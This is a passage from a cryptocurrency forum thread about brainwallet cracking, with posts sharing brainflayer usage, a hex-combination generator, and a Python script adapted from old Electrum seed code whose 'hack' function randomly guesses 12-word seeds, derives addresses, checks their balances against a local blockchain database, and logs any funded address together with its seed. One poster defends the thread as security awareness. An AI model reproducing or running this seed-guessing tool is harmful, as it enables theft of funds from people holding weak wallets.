srandom(timeuseconds() );
while (1) { for (i = 0; i < 16; i++) { printf("%04lx", random() & 0xffff); } printf("\n"); } }
Although this program seems silly, it was done for a purpose: to check the false positive rate of brainflayer.
|
|
|
|
DaCryptoRaccoon
|
|
February 07, 2019, 12:20:07 PM Last edit: February 07, 2019, 01:09:56 PM by MagicByt3 |
|
Seems like a waste of time to use random BIP words, as the seed word generation process involves checks, and many randomly generated combinations will be invalid.
Plus, even with a list of valid word combinations, it's a fools game in terms of odds.
That may be the case but what about weak seeds I also think the use of the script below might be helpful? Hmm... what's the point of throwing randomly selected word sets at your address checker? The chances of matching a 12 word passphrase are essentially zero. I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries. That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. As for the tables sizes I think they are about right to be honest they are not hash160's they are raw hex combinations see below I have tested on the smaller value ones at the come out pretty close to the figures quoted. So the DB for this type of data is vast. I am currently at around block 259090 of importing all the transactions into mysql database ( Currently 3 days reading from blk files) Combination data from 10Hex ./10hex | brainflayer -v -b example.blf
https://github.com/wpatoolkit/10-Hex-Generator
010316ead1 010316ead2 010316ead3 010316ead4 010316ead5 010316ead6 010316ead7 010316ead8 010316ead9 010316eada 010316eadb 010316eadc 010316eadd 010316eade 010316eadf 010316eae0 010316eae1 010316eae2 010316eae3 010316eae4 010316eae5 010316eae6 010316eae7 010316eae8 010316eae9 010316eaea 010316eaeb 010316eaec 010316eaed 010316eaee 010316eaef 010316eaf0 010316eaf1 010316eaf2 010316eaf3 010316eaf4 010316eaf5 010316eaf6 010316eaf7 010316eaf8 010316eaf9 010316eafa 010316eafb 010316eafc 010316eafd 010316eafe 010316eaff 010316eb01 010316eb02 010316eb03 010316eb04 010316eb05 010316eb06 010316eb07 010316eb08 010316eb09 010316eb0a 010316eb0b 010316eb0c 010316eb0d 010316eb0e 010316eb0f 010316eb10
after setting up ABE it is far quicker at checking against the database for balance than my previous method of API calls to Blockchain.com def mn_encode( message ): out = [] for i in range(len(message)/8): word = message[8*i:8*i+8] x = int(word, 16) w1 = (x%n) w2 = ((x/n) + w1)%n w3 = ((x/n/n) + w2)%n out += [ words[w1], words[w2], words[w3] ] return out
def mn_decode( wlist ): out = '' for i in range(len(wlist)/3): word1, word2, word3 = wlist[3*i:3*i+3] w1 = words.index(word1) w2 = (words.index(word2))%n w3 = (words.index(word3))%n x = w1 +n*((w2-w1)%n) +n*n*((w3-w2)%n) out += '%08x'%x return out
def stretch_key(seed): oldseed = seed for i in range(100000): seed = hashlib.sha256(seed + oldseed).digest() return string_to_number( seed )
def mpk_from_seed(seed): curve = SECP256k1 secexp = stretch_key(seed) master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 ) master_public_key = master_private_key.get_verifying_key().to_string().encode('hex') return master_public_key
class Account(object): def __init__(self, v): self.addresses = v.get('0', []) self.change = v.get('1', [])
def dump(self): return {'0':self.addresses, '1':self.change}
def get_addresses(self, for_change): return self.change[:] if for_change else self.addresses[:]
def create_new_address(self, for_change): addresses = self.change if for_change else self.addresses n = len(addresses) address = self.get_address( for_change, n) addresses.append(address) return address
def get_address(self, for_change, n): pass def get_pubkeys(self, sequence): return [ self.get_pubkey( *sequence )] class OldAccount(Account): """ Privatekey(type,n) = Master_private_key + H(n|S|type) """
def __init__(self, v): self.addresses = v.get(0, []) self.change = v.get(1, []) self.mpk = v['mpk'].decode('hex')
def dump(self): return {0:self.addresses, 1:self.change}
@classmethod def mpk_from_seed(klass, seed): curve = SECP256k1 secexp = klass.stretch_key(seed) master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 ) master_public_key = master_private_key.get_verifying_key().to_string().encode('hex') return master_public_key
@classmethod def stretch_key(self,seed): oldseed = seed for i in range(100000): seed = hashlib.sha256(seed + oldseed).digest() return string_to_number( seed )
def get_sequence(self, for_change, n): return string_to_number( Hash( "%d:%d:"%(n,for_change) + self.mpk ) )
def get_address(self, for_change, n): pubkey = self.get_pubkey(for_change, n) address = public_key_to_bc_address( pubkey.decode('hex') ) return address
def get_pubkey(self, for_change, n): curve = SECP256k1 mpk = self.mpk z = self.get_sequence(for_change, n) master_public_key = ecdsa.VerifyingKey.from_string( mpk, curve = SECP256k1 ) pubkey_point = master_public_key.pubkey.point + z*curve.generator public_key2 = ecdsa.VerifyingKey.from_public_point( pubkey_point, curve = SECP256k1 ) return '04' + public_key2.to_string().encode('hex')
def get_private_key_from_stretched_exponent(self, for_change, n, secexp): order = generator_secp256k1.order() secexp = ( secexp + self.get_sequence(for_change, n) ) % order pk = number_to_string( secexp, generator_secp256k1.order() ) compressed = False return SecretToASecret( pk, compressed ) def get_private_key(self, seed, sequence): for_change, n = sequence secexp = self.stretch_key(seed) return self.get_private_key_from_stretched_exponent(for_change, n, secexp)
def check_seed(self, seed): curve = SECP256k1 secexp = self.stretch_key(seed) master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 ) master_public_key = master_private_key.get_verifying_key().to_string().encode('hex') if master_public_key != self.mpk: print_error('invalid password (mpk)') raise BaseException('Invalid password') return True
def redeem_script(self, sequence): return None
def b58encode(v): """ encode v, which is a string of bytes, to base58."""
long_value = 0L for (i, c) in enumerate(v[::-1]): long_value += (256**i) * ord(c)
result = '' while long_value >= __b58base: div, mod = divmod(long_value, __b58base) result = __b58chars[mod] + result long_value = div result = __b58chars[long_value] + result
# Bitcoin does a little leading-zero-compression: # leading 0-bytes in the input become leading-1s nPad = 0 for c in v: if c == '\0': nPad += 1 else: break
return (__b58chars[0]*nPad) + result
def b58decode(v, length): """ decode v into a string of len bytes.""" long_value = 0L for (i, c) in enumerate(v[::-1]): long_value += __b58chars.find(c) * (__b58base**i)
result = '' while long_value >= 256: div, mod = divmod(long_value, 256) result = chr(mod) + result long_value = div result = chr(long_value) + result
nPad = 0 for c in v: if c == __b58chars[0]: nPad += 1 else: break
result = chr(0)*nPad + result if length is not None and len(result) != length: return None
return result
__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' __b58base = len(__b58chars)
def EncodeBase58Check(vchIn): hash = Hash(vchIn) return b58encode(vchIn + hash[0:4])
def DecodeBase58Check(psz): vchRet = b58decode(psz, None) key = vchRet[0:-4] csum = vchRet[-4:] hash = Hash(key) cs32 = hash[0:4] if cs32 != csum: return None else: return key def public_key_to_bc_address(public_key): h160 = hash_160(public_key) return hash_160_to_bc_address(h160) def hash_160(public_key): try: md = hashlib.new('ripemd160') md.update(hashlib.sha256(public_key).digest()) return md.digest() except: import ripemd md = ripemd.new(hashlib.sha256(public_key).digest()) return md.digest() def hash_160_to_bc_address(h160, addrtype = 0): vh160 = chr(addrtype) + h160 h = Hash(vh160) addr = vh160 + h[0:4] return b58encode(addr) mnemonic_hash = lambda x: hmac_sha_512("Bitcoin mnemonic", x).encode('hex') hmac_sha_512 = lambda x,y: hmac.new(x, y, hashlib.sha512).digest() Hash = lambda x: hashlib.sha256(hashlib.sha256(x).digest()).digest()
def hack(t, d): while True: guess = random.sample(words,12) #guess = "shirt always flat become bird company everytime poet least soar crack story".split() #print guess seed = mn_decode(guess) mpk = OldAccount.mpk_from_seed(seed) acc = OldAccount({'mpk':mpk, 0:[], 1:[]}) #pk = number_to_string( secexp, generator_secp256k1.order() ) #compressed = False # SecretToASecret( pk, compressed )
addy = acc.create_new_address(False) myurl = "http://localhost:2750/chain/Bitcoin/q/getreceivedbyaddress/" + addy f = urllib.urlopen(myurl) balance = f.read() print balance + ": " + addy if balance != "0": with open("addresses.txt", "a+") as myfile: myfile.write(balance + ": " + addy + "\t" + seed + "\n")
|
┏━━━━━━━━━━━━━━━━━┓ ┃ 𝔱𝔥𝔬𝔲 𝔰𝔥𝔞𝔩𝔱 𝔴𝔬𝔯ⱪ 𝔣𝔬𝔯 𝔶𝔬𝔲𝔯 𝔟𝔞𝔤𝔰 ┃ ┃ ➤21/M ┃ ┃ ███▓▓ ███▓▓ ███▓▓ ███▓▓┃
|
|
|
DaCryptoRaccoon
|
|
February 07, 2019, 12:35:25 PM |
|
where is admin, mod? Why topics like this can exist?
Security liabilities need to be discussed publicly, otherwise you have no basis for public discourse, awareness and improvement. Note that this thread is about monitoring and documenting cases of brainwallet thefts, rather than stealing them. While these thefts are happening regardless of whether threads like this exist, it may prevent some people from generating weak brainwallets and becoming victims themselves. so why have to write and post script here? Teach everybody do with him? 1. Most of this code is available online or on github as already said we do this to improve the security of bitcoin to help users understand about brain wallets and the dangers of them. 2. I feel it much better to see a community attempting to eradicate and document this by-design un-secure wallet. 3. Who would you rather be talking about this issue, the open community who are pushing new users away from this dangerous way to store funds or the criminals behind closed forums scanning new users funds away. I have a feeling this guy has a brain wallet
|
┏━━━━━━━━━━━━━━━━━┓ ┃ 𝔱𝔥𝔬𝔲 𝔰𝔥𝔞𝔩𝔱 𝔴𝔬𝔯ⱪ 𝔣𝔬𝔯 𝔶𝔬𝔲𝔯 𝔟𝔞𝔤𝔰 ┃ ┃ ➤21/M ┃ ┃ ███▓▓ ███▓▓ ███▓▓ ███▓▓┃
|
|
|
|